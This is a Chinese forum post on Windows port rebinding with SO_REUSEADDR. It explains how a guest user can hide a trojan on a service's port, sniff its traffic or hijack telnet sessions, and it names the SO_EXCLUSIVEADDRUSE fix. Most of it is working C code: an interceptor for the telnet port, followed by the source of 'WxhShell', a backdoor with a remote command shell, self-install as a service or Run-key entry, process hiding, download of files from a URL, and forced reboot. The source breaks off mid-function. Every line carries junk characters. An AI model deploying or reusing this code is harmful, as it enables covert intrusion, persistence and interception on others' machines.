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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =lD]sk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DdO '  
mhuaXbr  
  saddr.sin_family = AF_INET; ;VRR=p%,  
tY=TY{RY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c10).zZ  
W fNMyI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RBD MZ  
PlUjjJU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -"H4brj;G  
 O+j:L  
  这意味着什么?意味着可以进行如下的攻击: :n9^:srGZH  
H\bIO!vb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ }22Dvo  
wm71,R1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f|0QN#$  
4pT|r6!<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;# j 82  
]l%.X7M9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j@!}r|-T  
A,)ELVk1F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EPRs%(w`  
w\*/(E<:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FJ"9Hs2  
hspg-|R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Am  $L  
F k;su,]_  
  #include CF_!{X_k}  
  #include n#cN[C9  
  #include qT @IY)e  
  #include    s\!vko'M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q:^Cw8  
  int main() >IjLFM+U  
  { <LN$[&f#  
  WORD wVersionRequested; q04Dj-2<  
  DWORD ret; |9eY R  
  WSADATA wsaData; .?RjH6W  
  BOOL val; *, K \A  
  SOCKADDR_IN saddr; e`F|sz]k"H  
  SOCKADDR_IN scaddr; mA @+4&  
  int err; pa-4|)qY  
  SOCKET s; jF9CTL<  
  SOCKET sc; YYW70k:  
  int caddsize; id'# s  
  HANDLE mt; Kf~+jYobO  
  DWORD tid;   {E|gV9g  
  wVersionRequested = MAKEWORD( 2, 2 ); +~O{ UGB=  
  err = WSAStartup( wVersionRequested, &wsaData ); LP /4e`  
  if ( err != 0 ) { fM.|#eLi  
  printf("error!WSAStartup failed!\n"); A!yLwkc:5  
  return -1; ze)K-6SKH  
  } IOl"Xgn5  
  saddr.sin_family = AF_INET; 7gcG|kKT  
   ze N!*VG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O]eJQ4XN<  
Mk?I}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Lm#d.AD)  
  saddr.sin_port = htons(23); kELyD(^P`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1A-EP@# J  
  { #jiqRhm  
  printf("error!socket failed!\n"); yTiqG5r  
  return -1; g1 ,  
  } eCD,[At/  
  val = TRUE; HC,@tfS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f@L{*Upj+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b%j:-^0V  
  { ]M;! ])b$  
  printf("error!setsockopt failed!\n"); ^/vWK\-  
  return -1; tb3fz")UC  
  } ^#se4qQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -74T C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >/bK?yT<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DjvgKy=Jr_  
B)8Hj).@B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vI}S6-"<  
  { k]pD3.QJ  
  ret=GetLastError(); ;jI"|v{vnS  
  printf("error!bind failed!\n"); 'U$VO q?!  
  return -1; W=]",<  
  } z-gG(  
  listen(s,2); ZNeqsN{  
  while(1) \;gt&*$-  
  { pUGfm  
  caddsize = sizeof(scaddr); P@`"MNS  
  //接受连接请求 f om"8iL1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e}AJxBE  
  if(sc!=INVALID_SOCKET) (OQ @!R&  
  { ;NeEgqW "  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'fFdqsXr  
  if(mt==NULL) +Q0-jS#d  
  { Nn1^#kc  
  printf("Thread Creat Failed!\n"); RGI6W{\  
  break; F6VIH(  
  } \ZZy`/~z*7  
  } @$Kq<P  
  CloseHandle(mt); o{W]mr3D  
  } ,s&~U<Z  
  closesocket(s); iDc|9"|Tf3  
  WSACleanup(); b)^ZiRW``  
  return 0; u?Mu*r?  
  }   $OoN/^kv  
  DWORD WINAPI ClientThread(LPVOID lpParam) ld:alEo  
  { ~ O=|v/]  
  SOCKET ss = (SOCKET)lpParam; 6'! {0 5=m  
  SOCKET sc; =2)t1 H  
  unsigned char buf[4096]; s/H"Ab  
  SOCKADDR_IN saddr; 3eP0v  
  long num; W+C_=7_  
  DWORD val; 8;&S9'ci  
  DWORD ret; Vp"Ug,1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %ab)Gs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fO!O" D5  
  saddr.sin_family = AF_INET; UC/2&7 ?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v1g5(  
  saddr.sin_port = htons(23); UDtbfc7bk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \&)W#8V  
  { #gJ~ {tA:  
  printf("error!socket failed!\n"); lNVAKwW2#  
  return -1; )Hm[j)YI  
  } X`QW(rq  
  val = 100; ?$4R <  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E wsq0D  
  { ]Ja8i%LjOG  
  ret = GetLastError(); w?W e|x3  
  return -1; :P~& b P  
  } 9Ru%E>el-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ilu`b|%D  
  { &ntP~!w  
  ret = GetLastError(); 13_~)V  
  return -1; bRz^=  
  } RXS|-_$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sxwW9_C  
  { }Rxg E~ F  
  printf("error!socket connect failed!\n"); "`*a)'.'^c  
  closesocket(sc); yXo0z_ G  
  closesocket(ss); q,JA~GG  
  return -1; C;:L~)C@t  
  } 6cT~irP  
  while(1) )-:eQ{st`  
  { ]N <]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;=\5$J9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pQ^,.[[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vcJb\LW  
  num = recv(ss,buf,4096,0); 'EET3R K-S  
  if(num>0) PeUd  
  send(sc,buf,num,0); j*~dFGl)  
  else if(num==0) OK?3,<x  
  break; J$9xC{L4  
  num = recv(sc,buf,4096,0); AKC foJ  
  if(num>0) K0RYI69_  
  send(ss,buf,num,0); Dq%r !)  
  else if(num==0) ^!p<zZ  
  break; +[8Kl=]L  
  } hi D7tb=g~  
  closesocket(ss); m|2]lb  
  closesocket(sc); $< K)fbG  
  return 0 ; hN:F8r+DG  
  } 5ZyBP~  
Zjic"E1  
UQ.D!q  
========================================================== [q+e]kD  
H@2"ove-uC  
下边附上一个代码,,WXhSHELL j_'rhEdLP  
@f5@0A\0  
========================================================== :&0yf;>v  
:{i$2\DH6  
#include "stdafx.h" bqQO E4;  
{.3  
#include <stdio.h> @Gn?8Ur%  
#include <string.h> VXc+Wm*W  
#include <windows.h> -Xxu/U})%  
#include <winsock2.h> <\d|=>;  
#include <winsvc.h> $,e?X}4  
#include <urlmon.h> )y/DGSd  
f{^M.G@  
#pragma comment (lib, "Ws2_32.lib") k#Ez  
#pragma comment (lib, "urlmon.lib") ,D@ ;i  
(4 /]dTb  
#define MAX_USER   100 // 最大客户端连接数 W93JY0Ls9|  
#define BUF_SOCK   200 // sock buffer /#qs(! d  
#define KEY_BUFF   255 // 输入 buffer <f.>jjwFE  
:m++ iR  
#define REBOOT     0   // 重启 TcKvSdr'  
#define SHUTDOWN   1   // 关机 `zzKD2y  
FSU%?PxO  
#define DEF_PORT   5000 // 监听端口 0ve`  
wsJ%* eYf  
#define REG_LEN     16   // 注册表键长度 s@ 2 0#D  
#define SVC_LEN     80   // NT服务名长度 G V:$;  
~C"k$;(n  
// 从dll定义API N$,/Q9h^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;N$0)2w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $\,BpZ }3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9o`7Kc/g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hw?2XDv j  
,u&tB|,W,  
// wxhshell配置信息 QlRoe| {  
struct WSCFG { X<Th{kM2  
  int ws_port;         // 监听端口 T}t E/  
  char ws_passstr[REG_LEN]; // 口令 o4/I1Mq  
  int ws_autoins;       // 安装标记, 1=yes 0=no  z _O,Y  
  char ws_regname[REG_LEN]; // 注册表键名 2 ]V>J  
  char ws_svcname[REG_LEN]; // 服务名 ."IJmv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aVQSN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xI@$aTGq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A{aw< P|+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (aJP: ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :>P4L,Da]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8Q^6ibE  
*,W!FxJ  
}; 5oU`[&=Ob  
9|N" @0<B  
// default Wxhshell configuration R81{<q'%X  
struct WSCFG wscfg={DEF_PORT, 5@+4  
    "xuhuanlingzhe", =&q-[JW  
    1, FJ{,=@  
    "Wxhshell", n^iNo  
    "Wxhshell", Np|'7D  
            "WxhShell Service", W,HH *!  
    "Wrsky Windows CmdShell Service", \K?(  
    "Please Input Your Password: ", c Pq Dsl3  
  1, <G~} N  
  "http://www.wrsky.com/wxhshell.exe", Sa;<B:|  
  "Wxhshell.exe" t;.^K\S4  
    }; @K$VV^wp  
%@lV-(5q  
// 消息定义模块 Lj&1K~U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n5Nan  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :!JpP R5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _{LN{iqDv  
char *msg_ws_ext="\n\rExit."; %@}o'=[  
char *msg_ws_end="\n\rQuit."; GOy=p3mQ  
char *msg_ws_boot="\n\rReboot..."; t."g\;  
char *msg_ws_poff="\n\rShutdown..."; #`jE%ONC  
char *msg_ws_down="\n\rSave to "; jl.okWuiY  
]#Vo}CVP  
char *msg_ws_err="\n\rErr!"; bBUbw*DF)  
char *msg_ws_ok="\n\rOK!"; lAdDu  
1B)Y;hg6&  
char ExeFile[MAX_PATH]; 7P<r`,~k-  
int nUser = 0; w]>"'o{{  
HANDLE handles[MAX_USER]; 8K \'Z  
int OsIsNt; tZaD${  
{OB-J\7Y  
SERVICE_STATUS       serviceStatus; +}_Pf{MW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J [ YtA  
|SGgy|/a#  
// 函数声明 (Wd_G-da  
int Install(void); << 3 a<I  
int Uninstall(void); :+~KPn>w5  
int DownloadFile(char *sURL, SOCKET wsh); _PXG AS  
int Boot(int flag); tcBC!_vF  
void HideProc(void); xS6(K  
int GetOsVer(void); aO8c h  
int Wxhshell(SOCKET wsl); l GdM80f  
void TalkWithClient(void *cs); #TMm#?lC  
int CmdShell(SOCKET sock); 9=t#5J#O  
int StartFromService(void); N\9}\Rk@  
int StartWxhshell(LPSTR lpCmdLine); 3iE-6udCS  
^FP} qW~;9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZCy`2Fir  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3@^MvoC  
tHrK~|  
// 数据结构和表定义 ]g{hhP3>  
SERVICE_TABLE_ENTRY DispatchTable[] = }JRP,YNh  
{ ecr886  
{wscfg.ws_svcname, NTServiceMain}, Ua):y) A  
{NULL, NULL} L|&'jH)  
}; $.H:8^W  
$/u1chf  
// 自我安装 -O'{:s~  
int Install(void) )!tCC-Cr  
{ B\Xh 3l]+j  
  char svExeFile[MAX_PATH]; F-_%>KJS  
  HKEY key; yiiyqL*E  
  strcpy(svExeFile,ExeFile); Ne3R.g9;Z  
Lltc 4Mzw  
// 如果是win9x系统,修改注册表设为自启动 i 3m3zXt  
if(!OsIsNt) { gRBSt M&hU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gks ==|s.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bf& }8I$  
  RegCloseKey(key); _p\629`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!ED# gs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?2{bKIV_  
  RegCloseKey(key); _|N}4a  
  return 0; 3pvYi<<D'  
    } G+0><,S  
  } 9]"S:{KSCn  
} ac9qj  
else { v @:~mwy  
kr%2w  
// 如果是NT以上系统,安装为系统服务 2ck 4C/ h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pX@Si3G`  
if (schSCManager!=0) &e5(Djz8t  
{ (=1)y'.  
  SC_HANDLE schService = CreateService U4Z[!s$  
  ( MWiMUTZg3  
  schSCManager, N;uUx#z  
  wscfg.ws_svcname, ?a S%  
  wscfg.ws_svcdisp, 4t04}vp  
  SERVICE_ALL_ACCESS, `>s7M.|X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M :V2a<!c  
  SERVICE_AUTO_START, -K"4rz  
  SERVICE_ERROR_NORMAL, F8H'^3`b`U  
  svExeFile, WvujcmOf  
  NULL, %m9CdWb=w  
  NULL, Bs[nV}c>>  
  NULL, ["}A S:  
  NULL, P''X_1oMC  
  NULL +noZ<KFW "  
  ); S=' wJ@?;  
  if (schService!=0) Ht#@'x  
  { Cezh l  
  CloseServiceHandle(schService); oK2pM18  
  CloseServiceHandle(schSCManager); &uv0G'"\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U[R@x`  
  strcat(svExeFile,wscfg.ws_svcname); Z%m-HE:k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -D^L}b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EFAGP${F  
  RegCloseKey(key); =+Im*mgNn  
  return 0; EeB ]X24  
    } 4e +~.5r@i  
  } '0:i<`qv#g  
  CloseServiceHandle(schSCManager); 77V .["=7  
} 9}5K6aQ  
} QYQtMb,  
#O~XVuvF0  
return 1; yPV' pT)  
} P-CB;\  
. V$ps-t  
// 自我卸载 ~]BMrgn  
int Uninstall(void) ZsZcQj6G,  
{ BYi)j6"  
  HKEY key; UNDi_6Dy   
XF}rd.K:  
if(!OsIsNt) { #]9hTa IR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9AHSs,.t  
  RegDeleteValue(key,wscfg.ws_regname); - hzjV|  
  RegCloseKey(key); +Ng0WS_0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ahJ1n<  
  RegDeleteValue(key,wscfg.ws_regname); B<7/,d'  
  RegCloseKey(key); =oX>Ph+ P  
  return 0; 1DE@N1l  
  } ,Ol (piR  
} \hlR]m!C  
} /- 4$7qd  
else { '7*=`q{  
aQ#qRkI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S:q$?$  
if (schSCManager!=0) [3N[i(Wlk  
{ /RT%0!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p_{("zQ  
  if (schService!=0) O oSb>Y/4  
  { A5fwAB  
  if(DeleteService(schService)!=0) { Ue*C>F   
  CloseServiceHandle(schService); k%P;w1  
  CloseServiceHandle(schSCManager); fQ 7vL~E  
  return 0; Q6 ?z_0  
  } ar.AL'  
  CloseServiceHandle(schService); |>2FRPK  
  } %+-C3\'  
  CloseServiceHandle(schSCManager); {f/]5x(_  
} w~Ff%p@9  
} 5Y\!pf7SQ|  
"w_N' -}#  
return 1; TeQNFo^_8  
} ~]'pY  
U7iuY~L  
// 从指定url下载文件 8' K0L(3[  
int DownloadFile(char *sURL, SOCKET wsh) ;n6b%,s  
{ -x`G2i  
  HRESULT hr; M+`H g_#Q  
char seps[]= "/"; xd-XWXc  
char *token; 9}29&O  
char *file; BVw Wj-,  
char myURL[MAX_PATH]; (k`{*!:1a  
char myFILE[MAX_PATH]; FP^{=0  
re &E{  
strcpy(myURL,sURL); 1l8Etp&<  
  token=strtok(myURL,seps); 7v7G[n  
  while(token!=NULL) _:`!DIz~9}  
  { CO?Xt+1hR  
    file=token; Y+~g\z-]c  
  token=strtok(NULL,seps); fNu'((J-  
  } rw7_5l  
AeuX Qt  
GetCurrentDirectory(MAX_PATH,myFILE); (08I  
strcat(myFILE, "\\"); ,#]t$mzbQ(  
strcat(myFILE, file); ?=;qK{)37  
  send(wsh,myFILE,strlen(myFILE),0); ^Q+i=y{W  
send(wsh,"...",3,0); m~#%Q?_ %  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &o3K%M;C?  
  if(hr==S_OK) BxK^?b[E8  
return 0; N#C1-*[C  
else Q@@v1G\  
return 1; _7T@5\b:;  
H ?M/mGP  
} o*g|m.SjL  
$2~\eG=u H  
// 系统电源模块 vhuw &.\  
int Boot(int flag) ULH0'@BJ  
{ TBrGA E  
  HANDLE hToken; }MbH3ufC  
  TOKEN_PRIVILEGES tkp; Q,h7Sk*  
C1EtoOv K  
  if(OsIsNt) { 76cG90!Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X+k}2HvNG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Wu6<\^A  
    tkp.PrivilegeCount = 1; A'&n5)tb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mwp$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4*.K'(S5fx  
if(flag==REBOOT) { 3jH\yXj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k n[Y   
  return 0; ;a{:%t  
}  Ez~'^s@  
else { \dQx+f&t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RP5+d  
  return 0; gk[{2HgN  
} VdSv  
  } WKz> !E%  
  else { G rmzkNlN  
if(flag==REBOOT) { kql0J|P?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YXurYwV  
  return 0; Em 6Qe  
} bI)u/  
else { r7]zQIE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c#IYFTz  
  return 0; b1XRC`Gy  
} r|e-<t4.9L  
} D]a<4a 18  
!\8  ;d8  
return 1; VQ5nq'{v  
} D?yG+%&9  
|t iUej  
// win9x进程隐藏模块 &N~ZI*^  
void HideProc(void) UO*Ymj 1  
{ [%Bf< J<  
:j')E`#   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &!aAO(g  
  if ( hKernel != NULL ) |2\{z{?  
  { m'\2:mDu0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <<](XgR(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /2EHv.e `  
    FreeLibrary(hKernel); 1i:|3PA~  
  } %CUGm$nH  
'I;!pUfVp  
return; km^^T_ M/  
} Ofm%:}LV  
n+lOb  
// 获取操作系统版本 yme^b ;a  
int GetOsVer(void) {!|}=45Z  
{ DrnJ;Hi"  
  OSVERSIONINFO winfo; "8^5>EJWv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~8"8w(CG*I  
  GetVersionEx(&winfo); ac kqH+'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P`s  
  return 1; -/{ 4Jf Wf  
  else x3qW0K8  
  return 0; pj4!:{.;  
} >9RD_QG7  
{u1V|q  
// 客户端句柄模块 aL J(?8M@  
int Wxhshell(SOCKET wsl) [V'QrcCF  
{ ^Q*atU  
  SOCKET wsh; OO?]qZa1  
  struct sockaddr_in client; >#Q\DsDS  
  DWORD myID; Y]]}*8  
pwwH<0[  
  while(nUser<MAX_USER) Y6,Rj:8  
{ ?bM_q_5  
  int nSize=sizeof(client); <E\$3Ym9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H$G0`LP0/a  
  if(wsh==INVALID_SOCKET) return 1; Mu'8;9_6  
pdJ/&ufh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;nC.fBu  
if(handles[nUser]==0) HV6f@  
  closesocket(wsh); *(PL _/:  
else &Ysosy*  
  nUser++; |6=p{ y  
  } xI>A6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &Tl 0Pf  
%IC73?  
  return 0; =+ t^f  
} s"Pf+aTW  
n,B,"\fw  
// 关闭 socket "#(T  
void CloseIt(SOCKET wsh) }y9mNT  
{ ^Y-]*8;]  
closesocket(wsh); *tm0R>?!  
nUser--; JXyM\}9-X  
ExitThread(0); Qne/g}PD`  
} ~"UV]Udn  
(JM4R8fR&  
// 客户端请求句柄 %tG*C,l]  
void TalkWithClient(void *cs) 22f`LoM  
{ <SI}lQ'i  
U|g:`v7  
  SOCKET wsh=(SOCKET)cs; z<B8mB  
  char pwd[SVC_LEN]; `--TP  
  char cmd[KEY_BUFF]; A^q[N  
char chr[1]; j"AU z)x  
int i,j; <dW]\h?)  
%W@v2  
  while (nUser < MAX_USER) { }Tf9S<xpq3  
p~*UpU8u  
if(wscfg.ws_passstr) { 71vkyn@"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -V:"l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t3dlS`O  
  //ZeroMemory(pwd,KEY_BUFF); TLoz)&@  
      i=0; kOh{l: 2-+  
  while(i<SVC_LEN) { 5|jw^s7  
35tu>^_#V  
  // 设置超时 a{{g<< H  
  fd_set FdRead; keB&Bjd&  
  struct timeval TimeOut; UQB "v3Z  
  FD_ZERO(&FdRead); L#vI=GpL,r  
  FD_SET(wsh,&FdRead); &ZL3{M  
  TimeOut.tv_sec=8; tK&' <tZh  
  TimeOut.tv_usec=0; 5Ri6Z#qm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F <hJp,q9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v@e~k-#  
gUeuUj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'uq#ai[5I  
  pwd=chr[0]; 4.IU!.Uo  
  if(chr[0]==0xd || chr[0]==0xa) { ;|UF)QGa2  
  pwd=0; bQ~j=\[r  
  break; sg+uBCGB  
  } }1>[  
  i++; irN6g#B?  
    } <!pY$  
!qX_I db\  
  // 如果是非法用户,关闭 socket B/` !K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i86>]  
} E*jP87g  
?s:d[To6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 44-R!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <vXGi  
1UKg=A-q  
while(1) { F^hBtfz  
W"Gkq!3u{  
  ZeroMemory(cmd,KEY_BUFF); }g4 M2|  
-%L6#4m4o  
      // 自动支持客户端 telnet标准   -&<Whhs.@  
  j=0; A'2w>8  
  while(j<KEY_BUFF) { a{[x4d,z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nxr!`^Mne  
  cmd[j]=chr[0]; ATR!7i\|  
  if(chr[0]==0xa || chr[0]==0xd) { +wkjS r`e  
  cmd[j]=0;  =|9H  
  break; 9'r:~ O  
  } R9B&dvG  
  j++; +"1NC\<*  
    } &gjF4~W]  
qbv#I;  
  // 下载文件 q `pP$i:  
  if(strstr(cmd,"http://")) { |^A;&//  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sv  &[f}S  
  if(DownloadFile(cmd,wsh)) J9=m]R8T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;a<_cE*@  
  else }Q";aU0^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u;`U*@  
  } z Toq^T  
  else { l&[;rh  
C*`mM'#  
    switch(cmd[0]) { uJ6DO#d`P  
  Kw#i),M  
  // 帮助 7^g&)P  
  case '?': { a<@N-Exr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G#?Sfn O0  
    break; +). 0cs0k5  
  } *cEob b  
  // 安装 DZ_lW  
  case 'i': { |_yYLYH'   
    if(Install()) 435;Vns\n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ksE>[7  
    else ]niJG t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yR4|S2D3xn  
    break; u?+Kkkk  
    } EI^06q4x  
  // 卸载 3mOtW%Hl  
  case 'r': { n(el]_d  
    if(Uninstall()) -Y='_4s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q_t`.jus  
    else !tp1:'KG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v;0|U:`]  
    break; +-G<c6 |  
    } wR^R M(1  
  // 显示 wxhshell 所在路径 -e8}Pm "  
  case 'p': { L@gWzC~?Q  
    char svExeFile[MAX_PATH]; LU9A#  
    strcpy(svExeFile,"\n\r"); "70WUx(\t  
      strcat(svExeFile,ExeFile); C[%OkPR,H  
        send(wsh,svExeFile,strlen(svExeFile),0); V<j.xd7  
    break; ,13Lq-  
    } ;f"0~D2  
  // 重启 Yboiw y,n  
  case 'b': { PP!SK2u "L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t1%_DPD%W  
    if(Boot(REBOOT)) 3}/&w\$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D#o}cC.  
    else { 2/0v B>  
    closesocket(wsh); 8)4P Ll  
    ExitThread(0); o";Z$tAJkC  
    } zF`c8Tsx])  
    break; rf$X>M=G  
    } m o:D9  
  // 关机 Uy$)%dYfq5  
  case 'd': { p1|f<SF')  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o9H^?Rut  
    if(Boot(SHUTDOWN)) nG;8:f`  
